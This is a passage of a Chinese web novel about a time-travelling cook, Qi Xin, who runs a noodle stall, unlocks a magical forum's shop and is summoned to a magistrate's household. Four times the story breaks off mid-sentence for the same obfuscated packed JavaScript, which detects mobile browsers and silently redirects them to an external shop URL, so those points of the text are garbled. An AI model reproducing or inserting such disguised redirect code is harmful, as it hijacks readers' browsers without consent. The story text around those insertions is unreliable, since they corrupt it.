这会儿再往水里加上两勺豆酱一小勺酱油，蚝油也小心翼翼来上半勺，因着豆酱和酱油里的盐都很足，最后只加了一勺盐。 等炖肉的间隙，齐心也没闲着，先把明日要用的菜洗出来，份量翻了一倍，若不提前备好，明日一定是来不及的。 刚洗到一半也还是要记得看看锅里的肉，水果然已经重新滚开，五花肉也因炖煮渐渐染上了棕褐的酱色，特别是猪皮的部分，齐心已经能够想象它在嘴里化开的感受。 按教程说的把火调整得小些，剩下的就交给时间，只需时不时看看汤汁收得如何，用筷子轻柔地翻拌一下，别叫肉糊了锅底就好。 这会儿先将今晚的藕切成薄片，齐心对这种脆嫩食材的薄厚已经稍有心得，只是手稍慢些，配合着也能切除满意的薄度。只是一刀下去，那藕片与藕段间竟没什么丝儿。 齐心有些疑惑：“不该是藕断丝连吗？” 莱菔则切成四边形的片，“嘿嘿，还怪精致。” 明日要用的菜也全都按需切好，肉则留着新鲜的明日处理。 陶锅里已经飘来阵阵肉香，这头齐心又烧了一锅滚水，扁豆、莱菔、木耳和藕片先焯水断生，只是这次焯水还需加适量的盐和油，以防一会儿清炒时不如味儿。焯完水后的这步极为关键，需要冰水浸泡。 家里没有制冰的条件，新鲜的井水也是好的，刚打上来的冰冰凉凉，正好替代了冰。 重新起锅烧油爆香姜蒜再把泡凉的蔬菜全都倒入锅中，只需一点点耗油和盐完全炒熟，保留蔬菜的鲜甜味儿。 陶锅里的红烧肉终于来到了最后一步，坑里的火加大收汁儿，肉块儿已经完 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17080157|194954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 全变成了棕红色，酱色的汁子和肥肉自然的油光，用筷子轻轻压一压，那肉皮便是软弹的手感。 齐心实在没忍住，先尝了一块儿。 软、糯、微甜。 若是放在从前，有人说她能做出一锅喷香的红烧肉，她是绝不会相信的。 汤汁收到最后还是留了个底儿，把所有的肉块盛出，最后把浓稠的汤汁再淋在头上，撒上几颗翠绿的葱花点缀。 嘶——别提多好看了。 “开饭咯！” 齐心一手肉一手菜，支棱着上桌。 张秋玉早就闻见了肉香从床榻上下来，这会儿听见齐心招呼，扶着墙边，自己慢慢从卧房里走出。 去外头溜完了鸡鸭的段婆婆正好回来，赶紧把鸡鸭归笼，洗了手也迫不及待入座。 “这…这是东坡肉？” 齐心弯了眉：“虽不完全一样，但好像…也差不多，阿娘识得？” “嗯。”张秋玉眸光微闪，“从前听你爹说过，只是自己做来味道总比想象的差上一些。你今日做这个比你爹从前试菜出来的样子还要好看！” “真的？”她自己刚尝过一口，本就有些自信，这会儿张秋玉再夸，她心里那点子自豪如泉眼般汨汨地往外冒着。“那阿娘快尝尝。” “婆婆也快尝尝。” 主打一碗水端平。 张秋玉和段婆婆一同向红烧肉伸了筷，连带着肉上刚浇过的肉汤，放在饭上，那肉汤缓缓浸润了饭粒儿，让那黄白的饭粒儿也变成了酱红的色泽。 稍稍吹凉，张秋玉这才把肉块往嘴里送，只是刚咬下一口，还不等嚼，那肥肉便软糯地化开，再一抿，肥肉就像汤汁一样直接流入喉咙，剩下的瘦肉也已经炖得十分软烂，只稍多嚼几下便能下肚。 她放下筷子，一把握住了齐心的手腕，眼睛直直地注视，还残存着肉香的唇齿间激动地说出一句： “这…太好吃了！” 段婆婆认同得不能再认同地在一旁点头，她已是被红烧肉折服得说不出话来。 齐心笑得合不拢嘴，收回被阿娘握紧的手，往自己的饭上夹上一块儿肉，只用筷子稍用力按压，那肉便软烂地碎在米饭间，合着汤汁稍稍拌上一点儿饭，一筷子挑上肉和饭展示给她们看。 “这样更好吃，阿娘婆婆你们也试试。” 张秋玉几乎沉浸在自己的女儿是个天才的思绪中，听到齐心的话，只是机械式地跟上。 等肉和饭混合均匀的部分送进嘴里，那完美的配合又叫她忍不住瞪大眼睛，半晌重新眯起细细品味。 “我今晚怕是能多吃一碗饭。” 齐心笑：“那阿娘一定要好好多吃一碗。” 一口肉一口饭，再配一口菜才好，她的筷子伸向了今日清炒素菜里头的藕片。 可刚下筷，她便发觉有些不对。 这藕片怎一夹就碎了？ 她忙吃上一口，果然不是脆的！ 段婆婆瞧见了她脸色的变化，也没顾得上再吃肉，先尝上一片藕，这一尝，就皱了眉： “你今日买的什么藕？” 20. 第 20 章 “就…就是藕啊，藕还有别的吗？” 齐心有些懵，看着段婆婆不算好看的脸色，眼睛忽闪着毫无底气答。 段婆婆盯了她一会儿，终是叹了口气： “这夏藕有脆藕有面藕，你今日买的这个应是面藕，所以炒熟后这样绵软也易碎，今天这道清炒，你想要的大概是清脆的口感？” 她点点头，乖巧等着段婆婆继续。 “那你要买的就是脆藕，这一脆一面口味千差万别，食材选得不对，自然做不出你想要的东西。” “可这藕不炒熟之前也分辨不出来……” 不等齐心说完，段婆婆便打断了： “那便是你挑菜的功夫还不到家，脆藕的皮颜色要浅些，面藕的皮多发灰或带点赤色，且面藕外皮摸起来更粗糙些，仔细搓一搓就能感觉到像有纹路似的。” 齐心听得入神，连吃饭也顾不上。 之前不懂也没多在意，只想着食材都是一样的，再差也差不到哪儿去，再者之前买的菜好像没什么争议性。可这会儿听段婆婆这样一说，她忽而就领会食材的重要性了。 难怪后世许多高档的餐厅，总是在强调自己的食材有多么好多么新鲜，产地在哪里，又长成了什么样的口感…… 她怎么能忽略做菜最重要的食材？ 又一次放下了碗筷。 “我先去记下！” 说完便跑。 张秋玉略为担忧地往那卧房看了一眼，段婆婆却好似习惯了，只用余光瞥了一下，便继续吃着眼前可口的红烧肉。 “清炒也还行。” 见张秋玉还在担心，她出言提醒一句，再给夹上一筷子素菜。 张秋玉回头有些不解：“娘你方才不是说……” “又不难吃，再说咱们家可没有浪费的习惯。” 张秋玉闻言有片刻的恍惚，转瞬笑开：“娘说的是。心儿也该知道怎么挑菜才走得长远，正鹏当年也是这么过来的…” 今日齐心的做菜手札上果然又多出一项。 [食材的选择：1.脆藕和面藕] —— 衢家。 彭巧竹正坐着喝茶，就是今日与齐心说好带儿子来吃的那位娘子，在打卤摊子与齐心落了信儿后便回家了，只等儿子放学归家寻他说这事儿。 她那小儿子衢平挑食得紧，近来又逢夏日，每每用饭也不过吃上两口，人肉眼可见地消瘦了，给她看在眼里，着急在心里。 也换过许多花样，可衢平都说吃腻了，光是看一眼便没了胃口，最近只有吃些冰饮才稍好些，奈何十三四的孩子正长身体的时候，也不能总吃冰饮度日，是以，彭娘子得了空便上街里逛逛，只想着寻觅些新鲜物，好叫他开开胃口。 方瞧见齐心那打卤面摊子时，她是有些犹豫的。 若是放在从前，她是绝对不舍得让儿子吃外头这些上不得台面的食摊儿，可眼看着这新鲜吃食卖得热闹，摊位上的食客看着一个赛一个的满足。 她心念一动，凑到近前一看，摊主小娘子穿着虽朴素些，可简单干净，一看就是个利落人，与人说话总带着笑，说话也周到，只是看着就叫人觉得亲切。那一双手也是白白净净，指缝里不见污泥，摊车也被那小娘子和阿婆收拾得干干净净规规矩矩，没得有些摊子脏乱得很，多瞧一眼都嫌恶心。 彭娘子那点偏见没了。 就试试吧。 “二哥儿下学回来了！” 听到外头婆子喊了一声，彭娘子忙起身风风火火地往正院儿去了。 “平儿回来了，快快快，娘同你说个事儿。” 衢平刚把手里的书册交给小厮，一听见彭娘子的声音顿时有些怕了，小脸皱巴巴的： “又咋了娘，可别又叫我尝什么奇怪的东西了，我是真不想吃。” “什么奇怪的东西，娘还不是为了你好。”彭巧竹略受打击，板了脸佯装生气，“你看你，都要瘦脱了相了。” 衢平不语，无奈地盯着他娘，果然又听她滔滔不绝。 “娘今日在团街遇上一家卖汤饼的，不对，那好像也算不上汤饼，总之摊主叫它打卤面，你是没见着，那一个个吃得可香。团街离着县学不远，我想着等你明日中午下了学，咱娘俩一块儿去试试，那个番柿……” 他听不下去，捂着耳朵转身就要逃。 “哎哎哎——！臭小子不许跑！” 彭娘子虽追不上，奈何帮手却多，衢平被外头懂眼色的小厮拦住，不得不继续听着念叨。 “你不是爱吃番柿吗？我瞧那打卤面用番柿做的看着极香……”彭娘子说着偷偷瞧了一眼小儿子的脸色，见他无动于衷，只得来硬的，“反正你不去也得去，我一会儿同你大哥说一声，若你不去，便让他提着你去，到时叫你那几个好友仔细瞧着。” 衢平捂了耳朵撇嘴认输：“知道了知道了。” 小厮得了彭娘子的眼色，终于退开一步，叫衢平得路奔逃。 “哼，我还治不了你？” …… “我看这小鸡崽儿也得治治了。” “大晚上的也叫个没完。” 洗过澡，齐心又在院中乘凉。 在时不时传来的叽叽喳喳中翻看着新鲜的菜谱，其实拿到论坛也没多久，但好像已经渐渐变成了她的习惯，一旦闲下来，就想翻开看看。 她把这归结为网瘾的转移。 后世有平板有电脑有手机，她现在只有一个论坛，还能看到来自后世的美食分享，也能看到他们的讨论，她这样不知疲倦的刷看，更像是不想切断与后世的哪怕只有一丝一毫的联系。 好像只有这样做，才能证明她真的来自后世，而非这方天地的“齐心”。 她果然还是希望能回去的…… “齐小娘子！” 王星荣的声音在院门外响起来，她回神走了过去。 “星荣哥哥，可是来打水的？” 刚想开门，却没在他肩上看到挑水的扁担，手中的动作慢了一拍，就听王星荣激动道： “丁叔那馋鬼偏要我来问问你，明日能不能给他留一份经典卤，他明日被管事儿的支到明华街去干活了，生怕午时赶不过来吃一碗。” “那自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17087753|194954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然可以啊，只是不知他何时过来，只怕卤子放久了不好吃。” 齐心自是要答应的，刚出摊一日打卤面就能被人这样惦记上了，她高兴还来不及呢！ 小食摊儿本就是要靠回头客的。 “这还说不定呢，不过明华街那头的活儿最多也就晚半个时辰，可以吗？” 半个多时辰应是卖不完的，齐心爽快点了头，王星荣这才放心。 若不成，丁叔只怕能在他耳朵边至少念叨半个月的。 翌日天光半亮。 齐心没再被睡过头困扰，早早起来备菜。 一时间加了一倍的份量，她剁肉都剁得手酸，只得左手换了换右手，一心想着攒攒钱要再买一把好的菜刀。 左右开弓，事半功倍。 午时准时赶到了团街，段娘子早就翘首以盼了，见齐心和段婆婆到了，忙热情地打着招呼。 “妹子快来快来！” 齐心摊车还没停车入位，就瞧见已到了三五个人，竟在她摊车前的位置排起了队。 段娘子看出她眼中的惊诧，笑着凑过去小声道：“这都是听说你这儿打卤面好吃，专找过来的，刚等了一会儿，我让他们稍排一排的。” “原来如此，多谢婶婶这样帮我。” “客气了不是，他们等着一趟热了还多吃了两碗饮子呢！” 齐心失笑，这样的利益计较也是能这样坦然说出来的吗？ “好好，那我往后就不跟婶婶客气啦！” “正该如此。”段娘子说着又瞄了一眼排队的食客，“你快忙着，别让人等久了。” 摊车归置妥当，齐心立时揭了饭捂子给排队的食客看，这几位都是生面孔，想来都是昨日吃过的食客推荐来的人。 这饭捂子不揭还好，刚一揭开，头前那食客便闻着了香味儿，没忍住深吸了一口。 嗯，通畅，直接勾起肠胃里的馋虫。 “客官看看今日想吃哪个味道？” “我……”那人左看右看，半晌做不了决定，哪个看着都想吃可如何是好？ 后头的食客显然等不及了，歪出个脑袋催促：“这位郎君，还请快些，我们可都等得饿穿肠了！” 齐心在后头听得想笑，却又只能生生忍住。 这位倒是会夸张的，抬头仔细一瞧，正是昨日那个说要带儿子来吃那位娘子。 不小心对上了视线，齐心便笑着点头示意了一下，彭娘子这才缩回去。 见面前这位食客实在纠结，齐心不得不出言引导：“这位郎君平日爱吃什么口味？酸甜的还是咸香？” 那食客愣了一下，似在仔细回忆，半晌终于答：“我还是爱吃咸香的。” “那经典卤和豆角肉末都不错呢！” “可这两个我都有点想吃……” 见这人实在憋不出个结果，彭娘子实在难耐，给了最中肯的建议：“那不如两个卤子都要。” 那食客眼睛瞬间亮了，盯住齐心：“可，可以吗？” 齐心微愣。 这算什么，双拼吗？ 她竟没想过！ 21. 第 21 章 “倒也不是不行。” “那我便两个卤子都要，需得多少钱？” 齐心犹豫了一会儿双拼的定价，终是给定：“双拼的卤子再加四文就好。” 碗就那么大，双拼了卤子份量定是比不上单独一份的，再者没有额外面水煤人工的花费，多加四文她觉得已很合理。 那人果然惊喜：“那这样算，同吃两个口味的更划算啊！” 喜滋滋地捧上一碗双拼上一旁吃去了。 彭娘子上前来要了一碗番柿鸡子一碗肉末豆角，齐心见她就一个人略有些奇怪： “娘子昨日说还有小官人要来，怎的不见他？” 昨日见过这娘子，齐心便觉她与旁人略有不同，且不说身上的衣料看着便是光泽柔亮的缎面，就连行走说话也颇为端方，那气质乃浑然天成，一看就不是装出来而是自小浸润如此。 彭娘子听着小官人的称呼，深看了齐心一眼： “他这就来，我先点上等他。” “只怕放久了不好吃，不如等他来了，我再给你们煮？” 彭娘子想着她既然专卖这个的，自是最知火候的人，小儿子那张挑剔得不行的嘴，还是听话的好，便也同意了，先占上两个位置坐下，只等人下学了过来。 就这么一会儿，齐心这食摊儿前已排起了长队，这架势比之昨日有过之而无不及。 “呀林兄，你怎的也来了？” “昨儿听我那弟弟说这儿摆了一家新鲜，这不是来凑凑热闹嘛，你呢？” “我也是，昨日听我家那小子回去将这劳什子面夸得上天入地的，我过来瞧瞧究竟。” “……” 齐心这会儿已经顾不上听食客们的纷纷议论，只是不停地烫面，舀卤子，再递给段婆婆上餐。 摊车上新放了一个木盒，食客点了面便往里扔下铜板，两人忙起来根本没时间再去收钱，且两人都要经手食物，齐心还是觉得不要过手那“脏兮兮”的铜板才好。 衢平今日下学稍晚了点儿，却也还记得阿娘的嘱咐，可他真不想吃什么打卤面，本想偷摸从侧门离开，试图躲开大哥的监督。 可半只脚刚跨过门槛儿，衣裳后领便被人牢牢抓住了。 他头也不回，先声求饶：“大哥我只是去如厕。” 衢宁手腕稍动，手下的人便轻松转了过来，他冷嗤一声，居高临下：“我竟不知县学的茅厕搬到侧门外了？” 小鸡崽儿衢平笑容勉强，垂头认输：“我……我这就去吃饭。” “那走吧。” 衢宁侧身让他走上前，在后头紧紧盯着小弟离开的方向，不放心地又嘱咐一句： “别叫娘空等着。” 等衢平不情不愿、磨磨蹭蹭地到了团街，就瞧见他娘有些局促地站在一个食摊儿旁，与那一群热闹的人格格不入，四处张望着似在寻找谁人的身影。 他叹了一口气。 “算了，阿娘也是为我好。” 刚走出街角，彭娘子便瞧见了他的身影，身上那点儿局促瞬间消散，伸了手就冲他招呼着。 等人走到近前，更是喜笑颜开：“快快，平儿去看看你可是要吃番柿鸡子的卤。” 推着后背便将人送到了摊位前。 她多等的这两刻钟，眼看着食摊儿上的客人越来越多，那卤子一勺一勺地往外舀着，她偷瞧了一眼，已去了近半，可怎么看也没瞧见小儿子过来，心里那个着急啊。 还好赶上了。 衢平板着脸靠到食摊儿前，看向彭娘子说的番柿鸡子，红黄相间很是好看。 其实不太想吃的，不过…… 他舔了舔嘴唇，伸手指向那饭捂子：“那我就勉强尝尝这个吧。” 等两人的面煮好，小桌凳正空出来两个位置，彭娘子赶紧带人过去占上，生怕慢一点儿就被后来的食客后来居上了。 衢平捧着自己面前的面碗，难得没有干呕。 一口下去，先前的所有迟疑都化成了食欲。 彭娘子在一旁张开了嘴，很是惊讶地瞧着小儿子一口接一口，她哪里还顾得上吃自己那碗，半晌揉了揉微酸的眼眶。 “总算有能吃的东西了。” 衢平一碗打卤面下肚，满足地摸了摸自己平乏许久的肚皮。 “嗝——好吃，这打卤面的味道比想象中的还好！今日吃完了也不想吐，番柿酸酸甜甜，甚至吃了还想再吃。” 彭娘子高兴得几乎语无伦次：“好好好，愿意吃就好，只要你愿意吃，日日来吃都行，或是娘将这摊主请到家中专做给你吃如何？” 衢平许是被折腾怕了，忙扔下碗筷摆手拒绝：“不用了阿娘，我下学自己来吃就是。” 彭娘子抬头看了一眼那边忙得脚不沾地的齐心一眼，终于歇了心思。 一个摊主小娘子，也不好总是出入县令①家门。 “罢了，那便按你的意思。” 齐心这会儿正应付着浩浩荡荡过来吃面的叔伯，正是王 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17100522|194954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实昨日提过的那些，她虽没细数，但瞧着确实有二、三十个的。 一个个攒在摊子前头，在这团街末尾尤为显眼。 等队伍好容易排到最后三人，齐心看了看饭捂子约莫只够两份的卤子，却还不见丁老三的身影。 只得向后头两位食客致歉：“抱歉，今日的打卤面已经卖完了。” 那两人伸了脑袋看过来：“这不还剩吗？” “与人说好了要留下一份，前头这位伯伯买了便不剩了，抱歉了两位，若是喜欢，明日再来。” 两人有些愤愤不平，好不容易要排到了，结果没了？ 撇了撇嘴：“小娘子，你说你多多做上一些不好吗？” “是啊，或是就在这现做现吃也好啊！” 齐心笑笑，总不好说若不是家中有现成的，她连摊车也支不起来吧？ “我来了我来了——！” 气氛正有些尴尬，丁老三的声音由远及近，短暂化解。 “丁叔来了，面就剩最后一碗了，给你留着呢！” 丁老三搓了搓手，喜不自胜：“还好昨日叫星荣那小子同你说了，不然今日怕是吃不上了。” 他自是看见了食摊儿前还排着的两人，这会儿不得不庆幸，那两人见是他，那点子埋怨转瞬成了调侃。 “好啊，原是你这个馋鬼，鬼精鬼精的，还叫人提前留好了，害得我们排了这样久也吃不上，你说怎么办吧？” 丁老三嘿嘿笑着：“没办法，都怪齐小娘子这打卤面实在好吃。两位哥哥，等下次，下次，我请你们都吃一碗，这都是我舍了脸拜托的，你们可不能怪罪她啊。” “那可说好了啊！” “那是自然！” 等两人高高兴兴地走了，齐心这次有机会同丁老三道谢。 “多谢丁叔，若不是你来了，我还不知怎么劝才好。” “本也是我惹起来的，他们也不是什么坏脾气，怕也只是等久了吃不上有些不高兴，过了也就好了。不过妹子，你这真得多多准备些才好，要是老吃不上那算什么事儿啊！但我…我不是那个意思，我说话太直，你别忘心里去啊。” 齐心哪能不知道这利弊，可要能现做现吃的打卤面，还是得有个铺子才行，现在这摊车和人手根本满足不了边炒卤、边烫面还得收拾洗碗筷的活儿。 铺子的话…… 她凑了个半身向着隔壁段娘子：“婶婶，你知道这团街若是想租下个铺子，得花多少银两吗？” 22. 第 22 章 这铺子的事儿段娘子倒真去了解过。 “团街上哪怕是小一点的铺子每月就要五两银子，再大些的，十几两、几十两的都有，”说着她轻叹一声，“咱这小本生意，一个月尚且都还挣不了那么多，哪里还能租下一个铺面呢……” 齐心默算了一番，就算她现在一日能挣二百文，一个月也不过七八两银子，哪里够得上租铺面的门槛儿。 租铺子的心思算是歇下了。 等食客们全都散去，齐心终于和段婆婆收拾妥当归家。 刚到家缩进灶房，她便迫不及待打开了论坛，经验条果然又涨了。 看来这次她的猜测终于对上了。 果然传来已经熟悉的机械声： “恭喜您升级成为‘厨神论坛’的三级用户，目前经验值为21/100，购物商城功能已为您开启，您可以在商城内自由购入您所需要的物品，下次升级将为您开放论坛发帖功能，敬请期待。” 齐心几乎是转瞬就跳转到了商城页面。 她从听到这个东西开始，便产生了强烈的疑问，实在猜不透这个功能能给她带来什么。 等她清晰地看见购物商城里正在售卖的商品后，瞳孔微缩了一瞬，接踵而来的是难以言喻的激动。 这都什么好东西！ “购物商城中的商品，需用复购点进行购买，鉴于首次开通功能，现将赠送您5个复购点进行购物体验，商品会随着您的经验提升不断开放新的品类，祝您购物愉快！” 这机械音破天荒地道出了恭贺升级之外的话术。 齐心在天上真的掉馅饼了和都是做梦中来回摇摆，待她在页面右上角看到刚跳出的所谓的复购点，页面中货品的可购按钮也随之亮起，心里那点儿子恐慌也渐渐被跃跃欲试所替代。 “这…这应该不是骗我的吧？应该没有坑？” 她自言自语着，声音微微颤抖。 哪怕是商城里现在寥寥数个商品，也是她在这个时代无法寻得或是高价难得的调味品。 辣椒面、胡椒粉、生抽、老抽…… 辣椒面，这可是顶顶好的东西啊！ 她的炸串生意有戏了！ 齐心一颗心似鼓槌猛敲，砰砰个不停。 她的视线就直直落在辣椒面的选项上，丝毫舍不得挪开。 “这论坛也不是头一天用了，应该不会唬我的吧……” 一咬牙，一跺脚。 那购入选项被她狠狠选中。 点下的瞬间她紧闭双眼，根本不敢去看。 良久，什么预想中的声音都未出现，她耐不住好奇偷偷眯开一只，上下左右都转了一遍，可现实中的场景中没有任何变化。 睁开双眼，有些自嘲地笑了笑： “真是的，我怎么会真的相信这论坛能买东西啊？就算真买也不可能和我一样穿到这时代来啊……” 刚想抬手挠挠鼻头，手中凭空出现的东西瞬间吓了她一跳，条件反射地就要将东西一把甩了出去。 电光石火间一个回首掏，那个刚刚还在购物商城里的辣椒面就这样被她紧紧抓在手中。 一个简单的食品袋，袋子不大，她仔细看了看标识，这五个复购点换来的辣椒面只有区区100g…… 但是…是真的辣椒面！ 啊——！！！ 她抓紧了那袋子，像是生怕它消失般，激动得几乎想要大喊一声。 终于冷静下来后，她看着手中的东西又陷入了难题，该怎么解释辣椒面的出现呢…… 外人还好说，一句秘制调料就可以解决，可段婆婆和阿娘可是日日生活在一个屋檐下的。 总之先藏起来。 食品袋太过超前也太过显眼，齐心寻了个干净的陶罐把辣椒面全都倒了进去，那袋子团成团捏在手里，思索着该如何处理，直到商城页面下方的垃圾桶图标吸引了她的注意。 “这又是什么？” “感谢您主动回收食品包装，每回收十次可赠送您一个复购点，期待您的下次购物。” 那声音刚落，齐心手中的食品袋转瞬消失不见。 这是什么夕夕行为？ 她眨巴眨巴眼睛，确认自己不是看了场魔术，而食品袋是真的消失了之后，在自己的胳膊上狠狠地掐了一把。 “嘶——” 真的是真的。 至于这新出现的“复购点”，齐心觉得自己猜的已是十有八九，前有新客的经验值，后有回头客的复购点，这论坛倒是设置得挺有意思，且升级难度不高，这短短数日，就已经新开了好几个功能。 她已经开始期待后头还有什么能帮她“作弊”的好东西了。 等段婆婆从屋里出来，就看见齐心正卖力地擦洗着摊车，那模样那干劲儿，不像是要擦洗干净，倒像是要将摊车擦出个窟窿来。 受什么刺激了？ 却也不止今日，一连这之后的好几日，段婆婆发现齐心似乎都是这样亢奋的状态，每每出完摊回来，她在灶房捣鼓的时间更长了，说是什么要给摊子的新吃食试菜，那些新鲜的柔和菜就在她手下被切成块儿，或是切片切条。 还有一大盘不知是什么东西的糊……还是汤水，总之从未见过。 段婆婆看不明白，只听齐心将那东西叫炸串，名字倒是形象，只是要用去许多油，看得她心疼的不行。 寻常炒菜做饭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17108806|194954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只舍得放一点点底油，齐心这一炸便是一大碗油下进锅里。 只看了一次，段婆婆便决定不再看，她那颗小心脏实在受不了。 不过齐心每日高兴得找不着北，却也没耽误打卤面的份量加加减减，终于在这好几日的尝试中，定下了每日八十份的数量。 她不贪多，贪多嚼不烂，更何况打卤面本就不是她的初心。 安稳了几日，齐心忽而又见到了那位彭娘子。 可她竟不是来吃面的。 “要我去您府上做打卤面？” 齐心正烫面的手顿了顿，有些怀疑自己是不是听错了。 彭娘子只以为她是不愿意，赶紧解释：“是，实在是我那小儿子出不了门，他最近胃口一直不大好，那日上这儿来难得吃下一大碗，这两日病着更吃不下了，只念叨着你家这打卤面，我…我这当娘的也是实在没办法了，这才厚着脸皮来麻烦姑娘你，你看若是方便的话能否请你上门给他做上一碗……你，你放心，定会给姑娘一笔酬劳。” 齐心下意识地低头看了看自己的摊车，又看看自己，伸出食指指向自己： “真是我？” 彭娘子有些懵：“是，是啊……” 不然是谁？ 齐心心下高兴却又有些纠结，摊子前头还排着好些个食客，饭捂子里的打卤也还没卖完呢，要是现在就走段婆婆一个人怕是应付不过来。 彭娘子看出她的纠结：“姑娘若是方便，等收了摊再去也来得及，正好我先回去叫厨房将要用的东西备齐。” 见她点了头，彭娘子这才松了口气，但转念想到这用料的关键…… “姑娘放心，这用料我一定不会外传。” 彭娘子有些不确定地瞧了齐心一眼，这应该不属于打探秘方吧？ 她定定地看着彭娘子： “我信您。” 彭娘子眼神微动。 这姑娘倒是个有胆识的，她初时的那些偏见，似乎都不太能适用在这姑娘身上。 等彭娘子匆匆离开，齐心这才继续专注在自己的食摊儿上。 其实她对告知用料这事儿，心里实在没什么波澜，就算被人知道了用料也无妨，这卤子摆在这里，大家来来往往多看几眼，便能看出里头都放了什么食材，真正去做，才知其中主要靠的是做法、火候和调味，所以齐心才敢这样大胆告知，且彭娘子这人看着，实在不是需要盗食谱方子的。 段婆婆方才全程在一旁大气也不敢出，生怕扰了两人说话。 她也能瞧出那位食客娘子不太一般，可就这样轻易答应…… 忍不住贴近齐心，小声问道： “这活儿靠谱吗？” 23. 第 23 章 齐心的直觉告诉她这定是个好机会，虽然就连她自己也说不出来为什么好。 是以面对段婆婆的问题，她只得稍作安慰： “那娘子也不是头一次来了，青天白日的，我无钱无貌，骗我作甚？” 隔壁段娘子刚凑过来想同齐心说话，就听到她这番自评，立时笑了： “妹子，就你这相貌，若谁能说出个不好看，我都得骂他眼瞎。” 这姑娘她初时瞧，只觉长相秀气端正，一双眼睛温柔明亮，可这时日长了，越看越顺眼，脾气好性格好，整日都带着个笑模样，人一笑，那精气神儿便提起来了，眉眼弯弯，叫周围人看着，心情都要好几分。 “也就婶婶会这样夸我了。” “我说的可是实话！”段娘子看了看周围没人，又凑近些压低了声音，“你是没注意瞧，偶尔有那么几个小郎君来吃面，人都看呆了。” 说完促狭地冲齐心挤了挤眼睛。 齐心平素出摊时，只是一门心思扑在烫面打卤子上，哪里注意过这些，只当是段娘子的玩笑话。 “婶婶说笑了。” “哎，不过方才来找你那位娘子我总觉得有些眼熟……” “婶婶识得？” “说不好，总觉得在哪里见过，不过看那娘子的模样，应是个富贵人家的，我这样的人怎会认识，约莫还是我记错了。” …… 富贵人家？ 收摊回家后又匆匆出门寻到彭娘子留下的地址，齐心抬头看着这高门大匾，暗自感叹一声。 这哪是什么富贵人家，分明是官宦人家。 一路问着路找来，她才知，面前这大宅子竟是原武县县令的宅院。 原来县令夫人也会在外头吃小摊的？ 很朴实的爱好嘛。 咚咚—— 齐心轻轻叩响了大门，门房立刻打开了门，见她只恭敬地问了一句： “可是齐姑娘？” “是，是有位娘子……你家大娘子让我过来给你家公子做饭。” 那小厮垂眸，向门内指引出一只手： “我家主母已交代过了，姑娘里面请。” 那小厮稍退半步，领着齐心往里走，她微微侧目，见小厮目不斜视，很是循规蹈矩。 进门绕过砖砌的照壁①，上头还用彩墨绘了山水景色，穿过门廊，两边种着的是繁茂的榆树，枝叶形态规整，一看便是由专人打理过的，偶尔从身旁走过几个女使，也是恭敬垂首，并不多言，院中规规矩矩，清清静静，可见这家主母的治家手段。 寻着无人的空隙，齐心问了那小厮一句： “敢问你家大娘子姓？” “主母姓彭。” 等进了前院儿，齐心便瞧见了端坐在主位的彭娘子，见她来了迅速放下手中茶盏迎上来，也不等她见礼，就已开口： “姑娘来了，厨房已准备妥当，就等姑娘你了。” 见此情状，齐心也没多废话，干脆利落道： “还请大娘子带路。” 不等两人走出一段儿，齐心便瞧见一个中年模样的男人从外头匆匆走了进来，似乎并未注意到她的存在，见到彭娘子便仓皇开口： “夫人，我今日得了信儿，那蒲家要来原武县巡视产业，听说这次不仅是蒲家大郎，还把他家那个宝贝三郎也带……” 话未说完，彭娘子赶忙给他使了个眼色，男人这才注意到旁边还有外人，忙住了嘴。 彭娘子看向齐心，见她微微侧过脸去，非礼勿听的做派，赶紧赶紧圆场： “官人稍坐，我将齐姑娘送到厨房便回来，有事儿咱们稍候再商议。” 衢章握拳放在嘴边：“咳，这位便是夫人说的那位卖打卤面的小摊主？” “正是，官人还没吃饭吧？” “没呢，刚直接从县衙回来的。” “那正好。”彭娘子转向齐心，“劳烦姑娘多做上几份可好？我说你家打卤面得按时按点抢着去吃才行，我家官人和大儿子且都不信呢！” 